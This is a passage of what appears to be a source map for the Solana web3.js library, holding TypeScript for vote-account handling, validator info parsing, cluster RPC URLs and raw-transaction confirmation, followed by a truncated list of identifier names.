`safeWithdraw`\n * checks that the withdraw amount will not exceed the specified balance while leaving enough left\n * to cover rent. If you wish to close the vote account by withdrawing the full amount, call the\n * `withdraw` method directly.\n */\n static safeWithdraw(\n params: WithdrawFromVoteAccountParams,\n currentVoteAccountBalance: number,\n rentExemptMinimum: number,\n ): Transaction {\n if (params.lamports > currentVoteAccountBalance - rentExemptMinimum) {\n throw new Error(\n 'Withdraw will leave vote account with insufficient funds.',\n );\n }\n return VoteProgram.withdraw(params);\n }\n\n /**\n * Generate a transaction to update the validator identity (node pubkey) of a Vote account.\n */\n static updateValidatorIdentity(\n params: UpdateValidatorIdentityParams,\n ): Transaction {\n const {votePubkey, authorizedWithdrawerPubkey, nodePubkey} = params;\n const type = VOTE_INSTRUCTION_LAYOUTS.UpdateValidatorIdentity;\n const data = encodeData(type);\n\n const keys = [\n {pubkey: votePubkey, isSigner: false, isWritable: true},\n {pubkey: nodePubkey, isSigner: true, isWritable: false},\n {pubkey: authorizedWithdrawerPubkey, isSigner: true, isWritable: false},\n ];\n\n return new Transaction().add({\n keys,\n programId: this.programId,\n data,\n });\n }\n}\n","import {Buffer} from 'buffer';\nimport {\n assert as assertType,\n optional,\n string,\n type as pick,\n} from 'superstruct';\n\nimport * as Layout from './layout';\nimport * as shortvec from './utils/shortvec-encoding';\nimport {PublicKey, PUBLIC_KEY_LENGTH} from './publickey';\nimport {guardedShift, guardedSplice} from './utils/guarded-array-utils';\n\nexport const VALIDATOR_INFO_KEY = new PublicKey(\n 'Va1idator1nfo111111111111111111111111111111',\n);\n\n/**\n * @internal\n */\ntype ConfigKey = {\n publicKey: PublicKey;\n isSigner: boolean;\n};\n\n/**\n * Info used to identity validators.\n */\nexport type Info = {\n /** validator name */\n name: string;\n /** optional, validator website */\n website?: string;\n /** optional, extra information the validator chose to share */\n details?: string;\n /** optional, validator logo URL */\n iconUrl?: string;\n /** optional, used to identify validators on keybase.io */\n keybaseUsername?: string;\n};\n\nconst InfoString = pick({\n name: string(),\n website: optional(string()),\n details: optional(string()),\n iconUrl: optional(string()),\n keybaseUsername: optional(string()),\n});\n\n/**\n * ValidatorInfo class\n */\nexport class ValidatorInfo {\n /**\n * validator public key\n */\n key: PublicKey;\n /**\n * validator information\n */\n info: Info;\n\n /**\n * Construct a valid ValidatorInfo\n *\n * @param key validator public key\n * @param info validator information\n */\n constructor(key: PublicKey, info: Info) {\n this.key = key;\n this.info = info;\n }\n\n /**\n * Deserialize ValidatorInfo from the config account data. Exactly two config\n * keys are required in the data.\n *\n * @param buffer config account data\n * @return null if info was not found\n */\n static fromConfigData(\n buffer: Buffer | Uint8Array | Array<number>,\n ): ValidatorInfo | null {\n let byteArray = [...buffer];\n const configKeyCount = shortvec.decodeLength(byteArray);\n if (configKeyCount !== 2) return null;\n\n const configKeys: Array<ConfigKey> = [];\n for (let i = 0; i < 2; i++) {\n const publicKey = new PublicKey(\n guardedSplice(byteArray, 0, PUBLIC_KEY_LENGTH),\n );\n const isSigner = guardedShift(byteArray) === 1;\n configKeys.push({publicKey, isSigner});\n }\n\n if (configKeys[0].publicKey.equals(VALIDATOR_INFO_KEY)) {\n if (configKeys[1].isSigner) {\n const rawInfo: any = Layout.rustString().decode(Buffer.from(byteArray));\n const info = JSON.parse(rawInfo as string);\n assertType(info, InfoString);\n return new ValidatorInfo(configKeys[1].publicKey, info);\n }\n }\n\n return null;\n }\n}\n","import * as BufferLayout from '@solana/buffer-layout';\nimport type {Buffer} from 'buffer';\n\nimport * as Layout from './layout';\nimport {PublicKey} from './publickey';\nimport {toBuffer} from './utils/to-buffer';\n\nexport const VOTE_PROGRAM_ID = new PublicKey(\n 'Vote111111111111111111111111111111111111111',\n);\n\nexport type Lockout = {\n slot: number;\n confirmationCount: number;\n};\n\n/**\n * History of how many credits earned by the end of each epoch\n */\nexport type EpochCredits = Readonly<{\n epoch: number;\n credits: number;\n prevCredits: number;\n}>;\n\nexport type AuthorizedVoter = Readonly<{\n epoch: number;\n authorizedVoter: PublicKey;\n}>;\n\ntype AuthorizedVoterRaw = Readonly<{\n authorizedVoter: Uint8Array;\n epoch: number;\n}>;\n\ntype PriorVoters = Readonly<{\n buf: PriorVoterRaw[];\n idx: number;\n isEmpty: number;\n}>;\n\nexport type PriorVoter = Readonly<{\n authorizedPubkey: PublicKey;\n epochOfLastAuthorizedSwitch: number;\n targetEpoch: number;\n}>;\n\ntype PriorVoterRaw = Readonly<{\n authorizedPubkey: Uint8Array;\n epochOfLastAuthorizedSwitch: number;\n targetEpoch: number;\n}>;\n\nexport type BlockTimestamp = Readonly<{\n slot: number;\n timestamp: number;\n}>;\n\ntype VoteAccountData = Readonly<{\n authorizedVoters: AuthorizedVoterRaw[];\n authorizedWithdrawer: Uint8Array;\n commission: number;\n epochCredits: EpochCredits[];\n lastTimestamp: BlockTimestamp;\n nodePubkey: Uint8Array;\n priorVoters: PriorVoters;\n rootSlot: number;\n rootSlotValid: number;\n votes: Lockout[];\n}>;\n\n/**\n * See https://github.com/solana-labs/solana/blob/8a12ed029cfa38d4a45400916c2463fb82bbec8c/programs/vote_api/src/vote_state.rs#L68-L88\n *\n * @internal\n */\nconst VoteAccountLayout = BufferLayout.struct<VoteAccountData>([\n Layout.publicKey('nodePubkey'),\n Layout.publicKey('authorizedWithdrawer'),\n BufferLayout.u8('commission'),\n BufferLayout.nu64(), // votes.length\n BufferLayout.seq<Lockout>(\n BufferLayout.struct([\n BufferLayout.nu64('slot'),\n BufferLayout.u32('confirmationCount'),\n ]),\n BufferLayout.offset(BufferLayout.u32(), -8),\n 'votes',\n ),\n BufferLayout.u8('rootSlotValid'),\n BufferLayout.nu64('rootSlot'),\n BufferLayout.nu64(), // authorizedVoters.length\n BufferLayout.seq<AuthorizedVoterRaw>(\n BufferLayout.struct([\n BufferLayout.nu64('epoch'),\n Layout.publicKey('authorizedVoter'),\n ]),\n BufferLayout.offset(BufferLayout.u32(), -8),\n 'authorizedVoters',\n ),\n BufferLayout.struct<PriorVoters>(\n [\n BufferLayout.seq(\n BufferLayout.struct([\n Layout.publicKey('authorizedPubkey'),\n BufferLayout.nu64('epochOfLastAuthorizedSwitch'),\n BufferLayout.nu64('targetEpoch'),\n ]),\n 32,\n 'buf',\n ),\n BufferLayout.nu64('idx'),\n BufferLayout.u8('isEmpty'),\n ],\n 'priorVoters',\n ),\n BufferLayout.nu64(), // epochCredits.length\n BufferLayout.seq<EpochCredits>(\n BufferLayout.struct([\n BufferLayout.nu64('epoch'),\n BufferLayout.nu64('credits'),\n BufferLayout.nu64('prevCredits'),\n ]),\n BufferLayout.offset(BufferLayout.u32(), -8),\n 'epochCredits',\n ),\n BufferLayout.struct<BlockTimestamp>(\n [BufferLayout.nu64('slot'), BufferLayout.nu64('timestamp')],\n 'lastTimestamp',\n ),\n]);\n\ntype VoteAccountArgs = {\n nodePubkey: PublicKey;\n authorizedWithdrawer: PublicKey;\n commission: number;\n rootSlot: number | null;\n votes: Lockout[];\n authorizedVoters: AuthorizedVoter[];\n priorVoters: PriorVoter[];\n epochCredits: EpochCredits[];\n lastTimestamp: BlockTimestamp;\n};\n\n/**\n * VoteAccount class\n */\nexport class VoteAccount {\n nodePubkey: PublicKey;\n authorizedWithdrawer: PublicKey;\n commission: number;\n rootSlot: number | null;\n votes: Lockout[];\n authorizedVoters: AuthorizedVoter[];\n priorVoters: PriorVoter[];\n epochCredits: EpochCredits[];\n lastTimestamp: BlockTimestamp;\n\n /**\n * @internal\n */\n constructor(args: VoteAccountArgs) {\n this.nodePubkey = args.nodePubkey;\n this.authorizedWithdrawer = args.authorizedWithdrawer;\n this.commission = args.commission;\n this.rootSlot = args.rootSlot;\n this.votes = args.votes;\n this.authorizedVoters = args.authorizedVoters;\n this.priorVoters = args.priorVoters;\n this.epochCredits = args.epochCredits;\n this.lastTimestamp = args.lastTimestamp;\n }\n\n /**\n * Deserialize VoteAccount from the account data.\n *\n * @param buffer account data\n * @return VoteAccount\n */\n static fromAccountData(\n buffer: Buffer | Uint8Array | Array<number>,\n ): VoteAccount {\n const versionOffset = 4;\n const va = VoteAccountLayout.decode(toBuffer(buffer), versionOffset);\n\n let rootSlot: number | null = va.rootSlot;\n if (!va.rootSlotValid) {\n rootSlot = null;\n }\n\n return new VoteAccount({\n nodePubkey: new PublicKey(va.nodePubkey),\n authorizedWithdrawer: new PublicKey(va.authorizedWithdrawer),\n commission: va.commission,\n votes: va.votes,\n rootSlot,\n authorizedVoters: va.authorizedVoters.map(parseAuthorizedVoter),\n priorVoters: getPriorVoters(va.priorVoters),\n epochCredits: va.epochCredits,\n lastTimestamp: va.lastTimestamp,\n });\n }\n}\n\nfunction parseAuthorizedVoter({\n authorizedVoter,\n epoch,\n}: AuthorizedVoterRaw): AuthorizedVoter {\n return {\n epoch,\n authorizedVoter: new PublicKey(authorizedVoter),\n };\n}\n\nfunction parsePriorVoters({\n authorizedPubkey,\n epochOfLastAuthorizedSwitch,\n targetEpoch,\n}: PriorVoterRaw): PriorVoter {\n return {\n authorizedPubkey: new PublicKey(authorizedPubkey),\n epochOfLastAuthorizedSwitch,\n targetEpoch,\n };\n}\n\nfunction getPriorVoters({buf, idx, isEmpty}: PriorVoters): PriorVoter[] {\n if (isEmpty) {\n return [];\n }\n\n return [\n ...buf.slice(idx + 1).map(parsePriorVoters),\n ...buf.slice(0, idx).map(parsePriorVoters),\n ];\n}\n","const endpoint = {\n http: {\n devnet: 'http://api.devnet.solana.com',\n testnet: 'http://api.testnet.solana.com',\n 'mainnet-beta': 'http://api.mainnet-beta.solana.com/',\n },\n https: {\n devnet: 'https://api.devnet.solana.com',\n testnet: 'https://api.testnet.solana.com',\n 'mainnet-beta': 'https://api.mainnet-beta.solana.com/',\n },\n};\n\nexport type Cluster = 'devnet' | 'testnet' | 'mainnet-beta';\n\n/**\n * Retrieves the RPC API URL for the specified cluster\n * @param {Cluster} [cluster=\"devnet\"] - The cluster name of the RPC API URL to use. Possible options: 'devnet' | 'testnet' | 'mainnet-beta'\n * @param {boolean} [tls=\"http\"] - Use TLS when connecting to cluster.\n *\n * @returns {string} URL string of the RPC endpoint\n */\nexport function clusterApiUrl(cluster?: Cluster, tls?: boolean): string {\n const key = tls === false ? 'http' : 'https';\n\n if (!cluster) {\n return endpoint[key]['devnet'];\n }\n\n const url = endpoint[key][cluster];\n if (!url) {\n throw new Error(`Unknown ${key} cluster: ${cluster}`);\n }\n return url;\n}\n","import type {Buffer} from 'buffer';\n\nimport {\n BlockheightBasedTransactionConfirmationStrategy,\n Connection,\n DurableNonceTransactionConfirmationStrategy,\n TransactionConfirmationStrategy,\n} from '../connection';\nimport type {TransactionSignature} from '../transaction';\nimport type {ConfirmOptions} from '../connection';\nimport {SendTransactionError} from '../errors';\n\n/**\n * Send and confirm a raw transaction\n *\n * If `commitment` option is not specified, defaults to 'max' commitment.\n *\n * @param {Connection} connection\n * @param {Buffer} rawTransaction\n * @param {TransactionConfirmationStrategy} confirmationStrategy\n * @param {ConfirmOptions} [options]\n * @returns {Promise<TransactionSignature>}\n */\nexport async function sendAndConfirmRawTransaction(\n connection: Connection,\n rawTransaction: Buffer,\n confirmationStrategy: TransactionConfirmationStrategy,\n options?: ConfirmOptions,\n): Promise<TransactionSignature>;\n\n/**\n * @deprecated Calling `sendAndConfirmRawTransaction()` without a `confirmationStrategy`\n * is no longer supported and will be removed in a future version.\n */\n// eslint-disable-next-line no-redeclare\nexport async function sendAndConfirmRawTransaction(\n connection: Connection,\n rawTransaction: Buffer,\n options?: ConfirmOptions,\n): Promise<TransactionSignature>;\n\n// eslint-disable-next-line no-redeclare\nexport async function sendAndConfirmRawTransaction(\n connection: Connection,\n rawTransaction: Buffer,\n confirmationStrategyOrConfirmOptions:\n | TransactionConfirmationStrategy\n | ConfirmOptions\n | undefined,\n maybeConfirmOptions?: ConfirmOptions,\n): Promise<TransactionSignature> {\n let confirmationStrategy: TransactionConfirmationStrategy | undefined;\n let options: ConfirmOptions | undefined;\n if (\n confirmationStrategyOrConfirmOptions &&\n Object.prototype.hasOwnProperty.call(\n confirmationStrategyOrConfirmOptions,\n 'lastValidBlockHeight',\n )\n ) {\n confirmationStrategy =\n confirmationStrategyOrConfirmOptions as BlockheightBasedTransactionConfirmationStrategy;\n options = maybeConfirmOptions;\n } else if (\n confirmationStrategyOrConfirmOptions &&\n Object.prototype.hasOwnProperty.call(\n confirmationStrategyOrConfirmOptions,\n 'nonceValue',\n )\n ) {\n confirmationStrategy =\n confirmationStrategyOrConfirmOptions as DurableNonceTransactionConfirmationStrategy;\n options = maybeConfirmOptions;\n } else {\n options = confirmationStrategyOrConfirmOptions as\n | ConfirmOptions\n | undefined;\n }\n const sendOptions = options && {\n skipPreflight: options.skipPreflight,\n preflightCommitment: options.preflightCommitment || options.commitment,\n minContextSlot: options.minContextSlot,\n };\n\n const signature = await connection.sendRawTransaction(\n rawTransaction,\n sendOptions,\n );\n\n const commitment = options && options.commitment;\n const confirmationPromise = confirmationStrategy\n ? connection.confirmTransaction(confirmationStrategy, commitment)\n : connection.confirmTransaction(signature, commitment);\n const status = (await confirmationPromise).value;\n\n if (status.err) {\n if (signature != null) {\n throw new SendTransactionError({\n action: sendOptions?.skipPreflight ? 'send' : 'simulate',\n signature: signature,\n transactionMessage: `Status: (${JSON.stringify(status)})`,\n });\n }\n throw new Error(\n `Raw transaction ${signature} failed (${JSON.stringify(status)})`,\n );\n }\n\n return signature;\n}\n","export * from './account';\nexport * from './blockhash';\nexport * from './bpf-loader-deprecated';\nexport * from './bpf-loader';\nexport * from './connection';\nexport * from './epoch-schedule';\nexport * from './errors';\nexport * from './fee-calculator';\nexport * from './keypair';\nexport * from './loader';\nexport * from './message';\nexport * from './nonce-account';\nexport * from './programs';\nexport * from './publickey';\nexport * from './transaction';\nexport * from './validator-info';\nexport * from './vote-account';\nexport * from './sysvar';\nexport * from './utils';\n\n/**\n * There are 1-billion lamports in one SOL\n */\nexport const LAMPORTS_PER_SOL = 1000000000;\n"],"names":["generatePrivateKey","ed25519","utils","randomPrivateKey","generateKeypair","privateScalar","publicKey","getPublicKey","secretKey","Uint8Array","set","isOnCurve","ExtendedPoint","fromHex","sign","message","slice","verify","toBuffer","arr","Buffer","isBuffer","from","buffer","byteOffset","byteLength","Struct","constructor","properties","Object","assign","encode","serialize","SOLANA_SCHEMA","decode","data","deserialize","decodeUnchecked","deserializeUnchecked","Enum","enum","keys","length","Error","map","key","Map","MAX_SEED_LENGTH","PUBLIC_KEY_LENGTH","isPublicKeyData","value","_bn","undefined","uniquePublicKeyCounter","PublicKey","decoded","bs58","BN","unique","equals","eq","toBase58","toBytes","toJSON","buf","b","toArrayLike","zeroPad","alloc","copy","Symbol","toStringTag","toString","createWithSeed","fromPublicKey","seed","programId","concat","publicKeyBytes","sha256","createProgramAddressSync","seeds","forEach","TypeError","createProgramAddress","findProgramAddressSync","nonce","address","seedsWithNonce","err","findProgramAddress","pubkeyData","pubkey","_PublicKey","default","kind","fields","Account","_publicKey","_secretKey","secretKeyBuffer","BPF_LOADER_DEPRECATED_PROGRAM_ID","PACKET_DATA_SIZE","VERSION_PREFIX_MASK","SIGNATURE_LENGTH_IN_BYTES","TransactionExpiredBlockheightExceededError","signature","defineProperty","prototype","TransactionExpiredTimeoutError","timeoutSeconds","toFixed","TransactionExpiredNonceInvalidError","MessageAccountKeys","staticAccountKeys","accountKeysFromLookups","keySegments","push","writable","readonly","get","index","keySegment","flat","compileInstructions","instructions","U8_MAX","keyIndexMap","findKeyIndex","keyIndex","instruction","programIdIndex","accountKeyIndexes","meta","property","BufferLayout","blob","rustString","rsl","struct","u32","offset","_decode","bind","_encode","rslShim","str","chars","span","authorized","lockup","ns64","voteInit","u8","voteAuthorizeWithSeedArgs","getAlloc","type","getItemAlloc","item","field","Array","isArray","elementLayout","layout","decodeLength","bytes","len","size","elem","shift","encodeLength","rem_len","condition","CompiledKeys","payer","keyMetaMap","compile","getOrInsertDefault","keyMeta","isSigner","isWritable","isInvoked","payerKeyMeta","ix","accountMeta","getMessageComponents","mapEntries","entries","assert","writableSigners","filter","readonlySigners","writableNonSigners","readonlyNonSigners","header","numRequiredSignatures","numReadonlySignedAccounts","numReadonlyUnsignedAccounts","payerAddress","extractTableLookup","lookupTable","writableIndexes","drainedWritableKeys","drainKeysFoundInLookupTable","state","addresses","readonlyIndexes","drainedReadonlyKeys","accountKey","lookupTableEntries","keyMetaFilter","lookupTableIndexes","drainedKeys","lookupTableIndex","findIndex","entry","delete","END_OF_BUFFER_ERROR_MESSAGE","guardedShift","byteArray","guardedSplice","args","start","splice","Message","accountKeys","recentBlockhash","indexToProgramIds","account","version","compiledInstructions","accounts","addressTableLookups","getAccountKeys","compiledKeys","payerKey","isAccountSigner","isAccountWritable","numSignedAccounts","unsignedAccountIndex","numUnsignedAccounts","numWritableUnsignedAccounts","numWritableSignedAccounts","isProgramId","has","programIds","values","nonProgramIds","_","numKeys","keyCount","shortvec","keyIndicesCount","dataCount","keyIndices","dataLength","instructionCount","instructionBuffer","instructionBufferLength","instructionLayout","seq","signDataLayout","Layout","transaction","signData","accountCount","i","dataSlice","messageArgs","MessageV0","numAccountKeysFromLookups","count","lookup","addressLookupTableAccounts","resolveAddressTableLookups","numStaticAccountKeys","lookupAccountKeysIndex","numWritableLookupAccountKeys","reduce","tableLookup","tableAccount","find","lookupTableAccounts","extractResult","addressTableLookup","encodedStaticAccountKeysLength","serializedInstructions","serializeInstructions","encodedInstructionsLength","serializedAddressTableLookups","serializeAddressTableLookups","encodedAddressTableLookupsLength","messageLayout","serializedMessage","MESSAGE_VERSION_0_PREFIX","serializedMessageLength","prefix","staticAccountKeysLength","instructionsLength","addressTableLookupsLength","serializedLength","encodedAccountKeyIndexesLength","encodedDataLength","encodedWritableIndexesLength","encodedReadonlyIndexesLength","addressTableLookupLayout","maskedPrefix","accountKeyIndexesLength","addressTableLookupsCount","writableIndexesLength","readonlyIndexesLength","VersionedMessage","deserializeMessageVersion","TransactionStatus","DEFAULT_SIGNATURE","fill","TransactionInstruction","opts","Transaction","signatures","feePayer","lastValidBlockHeight","nonceInfo","minNonceContextSlot","_message","_json","hasOwnProperty","call","minContextSlot","blockhash","nonceInstruction","signers","add","items","compileMessage","JSON","stringify","console","warn","accountMetas","includes","uniqueMetas","pubkeyString","uniqueIndex","x","sort","y","options","localeMatcher","usage","sensitivity","ignorePunctuation","numeric","caseFirst","localeCompare","feePayerIndex","payerMeta","unshift","signedKeys","unsignedKeys","indexOf","invariant","_compile","valid","every","pair","serializeMessage","getEstimatedFee","connection","getFeeForMessage","setSigners","seen","Set","uniqueSigners","signer","_partialSign","partialSign","_addSignature","addSignature","sigpair","verifySignatures","requireAllSignatures","signatureErrors","_getMessageSignednessErrors","errors","missing","invalid","config","sigErrors","errorMessage","p","join","_serialize","signatureCount","transactionLength","wireTransaction","keyObj","populate","sigPubkeyPair","some","TransactionMessage","decompile","compiledIx","compileToLegacyMessage","compileToV0Message","VersionedTransaction","defaultSignatures","encodedSignaturesLength","transactionLayout","serializedTransaction","serializedTransactionLength","signaturesLength","messageData","signerPubkeys","signerIndex","NUM_TICKS_PER_SECOND","DEFAULT_TICKS_PER_SLOT","NUM_SLOTS_PER_SECOND","MS_PER_SLOT","SYSVAR_CLOCK_PUBKEY","SYSVAR_EPOCH_SCHEDULE_PUBKEY","SYSVAR_INSTRUCTIONS_PUBKEY","SYSVAR_RECENT_BLOCKHASHES_PUBKEY","SYSVAR_RENT_PUBKEY","SYSVAR_REWARDS_PUBKEY","SYSVAR_SLOT_HASHES_PUBKEY","SYSVAR_SLOT_HISTORY_PUBKEY","SYSVAR_STAKE_HISTORY_PUBKEY","SendTransactionError","action","transactionMessage","logs","maybeLogsOutput","guideText","a","transactionLogs","transactionError","cachedLogs","getLogs","Promise","resolve","reject","getTransaction","then","tx","logMessages","catch","SolanaJSONRPCErrorCode","JSON_RPC_SERVER_ERROR_BLOCK_CLEANED_UP","JSON_RPC_SERVER_ERROR_SEND_TRANSACTION_PREFLIGHT_FAILURE","JSON_RPC_SERVER_ERROR_TRANSACTION_SIGNATURE_VERIFICATION_FAILURE","JSON_RPC_SERVER_ERROR_BLOCK_NOT_AVAILABLE","JSON_RPC_SERVER_ERROR_NODE_UNHEALTHY","JSON_RPC_SERVER_ERROR_TRANSACTION_PRECOMPILE_VERIFICATION_FAILURE","JSON_RPC_SERVER_ERROR_SLOT_SKIPPED","JSON_RPC_SERVER_ERROR_NO_SNAPSHOT","JSON_RPC_SERVER_ERROR_LONG_TERM_STORAGE_SLOT_SKIPPED","JSON_RPC_SERVER_ERROR_KEY_EXCLUDED_FROM_SECONDARY_INDEX","JSON_RPC_SERVER_ERROR_TRANSACTION_HISTORY_NOT_AVAILABLE","JSON_RPC_SCAN_ERROR","JSON_RPC_SERVER_ERROR_TRANSACTION_SIGNATURE_LEN_MISMATCH","JSON_RPC_SERVER_ERROR_BLOCK_STATUS_NOT_AVAILABLE_YET","JSON_RPC_SERVER_ERROR_UNSUPPORTED_TRANSACTION_VERSION","JSON_RPC_SERVER_ERROR_MIN_CONTEXT_SLOT_NOT_REACHED","SolanaJSONRPCError","code","customMessage","name","sendAndConfirmTransaction","sendOptions","skipPreflight","preflightCommitment","commitment","maxRetries","sendTransaction","status","confirmTransaction","abortSignal","nonceAccountPubkey","nonceValue","sleep","ms","setTimeout","encodeData","allocLength","layoutFields","decodeData","FeeCalculatorLayout","nu64","NonceAccountLayout","NONCE_ACCOUNT_LENGTH","NonceAccount","authorizedPubkey","feeCalculator","fromAccountData","nonceAccount","encodeDecode","bigInt","bigIntLayout","src","toBigIntLE","toBufferLE","u64","SystemInstruction","decodeInstructionType","checkProgramId","instructionTypeLayout","typeIndex","ixType","SYSTEM_INSTRUCTION_LAYOUTS","decodeCreateAccount","checkKeyLength","lamports","space","Create","fromPubkey","newAccountPubkey","decodeTransfer","Transfer","toPubkey","decodeTransferWithSeed","TransferWithSeed","basePubkey","decodeAllocate","Allocate","accountPubkey","decodeAllocateWithSeed","base","AllocateWithSeed","decodeAssign","Assign","decodeAssignWithSeed","AssignWithSeed","decodeCreateWithSeed","CreateWithSeed","decodeNonceInitialize","InitializeNonceAccount","noncePubkey","decodeNonceAdvance","AdvanceNonceAccount","decodeNonceWithdraw","WithdrawNonceAccount","decodeNonceAuthorize","AuthorizeNonceAccount","newAuthorizedPubkey","SystemProgram","expectedLength","freeze","UpgradeNonceAccount","createAccount","params","transfer","BigInt","createAccountWithSeed","createNonceAccount","initParams","nonceInitialize","instructionData","nonceAdvance","nonceWithdraw","nonceAuthorize","allocate","CHUNK_SIZE","Loader","getMinNumSignatures","Math","ceil","chunkSize","load","program","balanceNeeded","getMinimumBalanceForRentExemption","programInfo","getAccountInfo","executable","error","owner","dataLayout","array","transactions","bytesLength","bytesLengthPadding","_rpcEndpoint","REQUESTS_PER_SECOND","all","deployCommitment","finalizeSignature","context","currentSlot","getSlot","slot","round","BPF_LOADER_PROGRAM_ID","BpfLoader","elf","loaderProgramId","require$$1","require$$0","require$$2","agentkeepaliveModule","fastStableStringify","MINIMUM_SLOT_PER_EPOCH","trailingZeros","n","nextPowerOfTwo","EpochSchedule","slotsPerEpoch","leaderScheduleSlotOffset","warmup","firstNormalEpoch","firstNormalSlot","getEpoch","getEpochAndSlotIndex","epoch","epochLen","getSlotsInEpoch","slotIndex","normalSlotIndex","normalEpochIndex","floor","getFirstSlotInEpoch","pow","getLastSlotInEpoch","globalThis","fetch","input","init","processedInput","nodeFetch","RpcWebSocketClient","CommonClient","generate_request_id","webSocketFactory","url","rpc","createRpc","autoconnect","max_reconnects","reconnect","reconnect_interval","underlyingSocket","socket","readyState","notify","LOOKUP_TABLE_META_SIZE","AddressLookupTableAccount","isActive","U64_MAX","deactivationSlot","accountData","LookupTableMetaLayout","serializedAddressesLen","numSerializedAddresses","lastExtendedSlot","lastExtendedSlotStartIndex","lastExtendedStartIndex","authority","URL_RE","makeWebsocketUrl","endpoint","matches","match","hostish","portWithColon","rest","protocol","startsWith","startPort","parseInt","websocketPort","PublicKeyFromString","coerce","instance","string","RawAccountDataResult","tuple","literal","BufferFromRawAccountData","BLOCKHASH_CACHE_TIMEOUT_MS","assertEndpointUrl","putativeUrl","test","extractCommitmentFromConfig","commitmentOrConfig","specifiedCommitment","specifiedConfig","applyDefaultMemcmpEncodingToFilters","filters","memcmp","encoding","createRpcResult","result","union","pick","jsonrpc","id","unknown","optional","any","UnknownRpcResult","jsonRpcResult","schema","create","jsonRpcResultAndContext","number","notificationResultAndContext","versionedMessageFromResponse","response","GetInflationGovernorResult","foundation","foundationTerm","initial","taper","terminal","GetInflationRewardResult","nullable","effectiveSlot","amount","postBalance","commission","GetRecentPrioritizationFeesResult","prioritizationFee","GetInflationRateResult","total","validator","GetEpochInfoResult","slotsInEpoch","absoluteSlot","blockHeight","transactionCount","GetEpochScheduleResult","boolean","GetLeaderScheduleResult","record","TransactionErrorResult","SignatureStatusResult","SignatureReceivedResult","VersionResult","ParsedInstructionStruct","parsed","PartiallyDecodedInstructionStruct","SimulatedTransactionResponseStruct","rentEpoch","unitsConsumed","returnData","innerInstructions","BlockProductionResponseStruct","byIdentity","range","firstSlot","lastSlot","createRpcClient","httpHeaders","customFetch","fetchMiddleware","disableRetryOnRateLimit","httpAgent","fetchImpl","agent","agentOptions","freeSocketTimeout","keepAlive","maxSockets","HttpsKeepAliveAgent","HttpKeepAliveAgent","isHttps","NodeHttpsAgent","fetchWithMiddleware","info","modifiedFetchArgs","modifiedInfo","modifiedInit","clientBrowser","RpcClient","request","callback","method","body","headers","COMMON_HTTP_HEADERS","too_many_requests_retries","res","waitTime","statusText","text","ok","createRpcRequest","client","createRpcBatchRequest","requests","batch","methodName","GetInflationGovernorRpcResult","GetInflationRateRpcResult","GetRecentPrioritizationFeesRpcResult","GetEpochInfoRpcResult","GetEpochScheduleRpcResult","GetLeaderScheduleRpcResult","SlotRpcResult","GetSupplyRpcResult","circulating","nonCirculating","nonCirculatingAccounts","TokenAmountResult","uiAmount","decimals","uiAmountString","GetTokenLargestAccountsResult","GetTokenAccountsByOwner","ParsedAccountDataResult","GetParsedTokenAccountsByOwner","GetLargestAccountsRpcResult","AccountInfoResult","KeyedAccountInfoResult","ParsedOrRawAccountData","ParsedAccountInfoResult","KeyedParsedAccountInfoResult","StakeActivationResult","active","inactive","GetConfirmedSignaturesForAddress2RpcResult","memo","blockTime","GetSignaturesForAddressRpcResult","AccountNotificationResult","subscription","ProgramAccountInfoResult","ProgramAccountNotificationResult","SlotInfoResult","parent","root","SlotNotificationResult","SlotUpdateResult","timestamp","stats","numTransactionEntries","numSuccessfulTransactions","numFailedTransactions","maxTransactionsPerEntry","SlotUpdateNotificationResult","SignatureNotificationResult","RootNotificationResult","ContactInfoResult","gossip","tpu","VoteAccountInfoResult","votePubkey","nodePubkey","activatedStake","epochVoteAccount","epochCredits","lastVote","rootSlot","GetVoteAccounts","current","delinquent","ConfirmationStatus","SignatureStatusResponse","confirmations","confirmationStatus","GetSignatureStatusesRpcResult","GetMinimumBalanceForRentExemptionRpcResult","AddressTableLookupStruct","ConfirmedTransactionResult","AnnotatedAccountKey","source","ConfirmedTransactionAccountsModeResult","ParsedInstructionResult","RawInstructionResult","InstructionResult","UnknownInstructionResult","ParsedOrRawInstruction","ParsedConfirmedTransactionResult","TokenBalanceResult","accountIndex","mint","uiTokenAmount","LoadedAddressesResult","ConfirmedTransactionMetaResult","fee","preBalances","postBalances","preTokenBalances","postTokenBalances","loadedAddresses","computeUnitsConsumed","ParsedConfirmedTransactionMetaResult","TransactionVersionStruct","RewardsResult","rewardType","GetBlockRpcResult","previousBlockhash","parentSlot","rewards","GetNoneModeBlockRpcResult","GetAccountsModeBlockRpcResult","GetParsedBlockRpcResult","GetParsedAccountsModeBlockRpcResult","GetParsedNoneModeBlockRpcResult","GetConfirmedBlockRpcResult","GetBlockSignaturesRpcResult","GetTransactionRpcResult","GetParsedTransactionRpcResult","GetRecentBlockhashAndContextRpcResult","lamportsPerSignature","GetLatestBlockhashRpcResult","IsBlockhashValidRpcResult","PerfSampleResult","numTransactions","numSlots","samplePeriodSecs","GetRecentPerformanceSamplesRpcResult","GetFeeCalculatorRpcResult","RequestAirdropRpcResult","SendTransactionRpcResult","LogsResult","LogsNotificationResult","process","Connection","_commitment","_confirmTransactionInitialTimeout","_rpcWsEndpoint","_rpcClient","_rpcRequest","_rpcBatchRequest","_rpcWebSocket","_rpcWebSocketConnected","_rpcWebSocketHeartbeat","_rpcWebSocketIdleTimeout","_rpcWebSocketGeneration","_disableBlockhashCaching","_pollingBlockhash","_blockhashInfo","latestBlockhash","lastFetch","transactionSignatures","simulatedSignatures","_nextClientSubscriptionId","_subscriptionDisposeFunctionsByClientSubscriptionId","_subscriptionHashByClientSubscriptionId","_subscriptionStateChangeCallbacksByHash","_subscriptionCallbacksByServerSubscriptionId","_subscriptionsByHash","_subscriptionsAutoDisposedByRpc","getBlockHeight","requestPromises","_buildArgs","requestHash","unsafeRes","wsEndpoint","confirmTransactionInitialTimeout","Infinity","on","_wsOnOpen","_wsOnError","_wsOnClose","_wsOnAccountNotification","_wsOnProgramAccountNotification","_wsOnSlotNotification","_wsOnSlotUpdatesNotification","_wsOnSignatureNotification","_wsOnRootNotification","_wsOnLogsNotification","rpcEndpoint","getBalanceAndContext","getBalance","e","getBlockTime","getMinimumLedgerSlot","getFirstAvailableBlock","getSupply","configArg","getTokenSupply","tokenMintAddress","getTokenAccountBalance","tokenAddress","getTokenAccountsByOwner","ownerAddress","_args","getParsedTokenAccountsByOwner","getLargestAccounts","arg","getTokenLargestAccounts","mintAddress","getAccountInfoAndContext","getParsedAccountInfo","getMultipleParsedAccounts","publicKe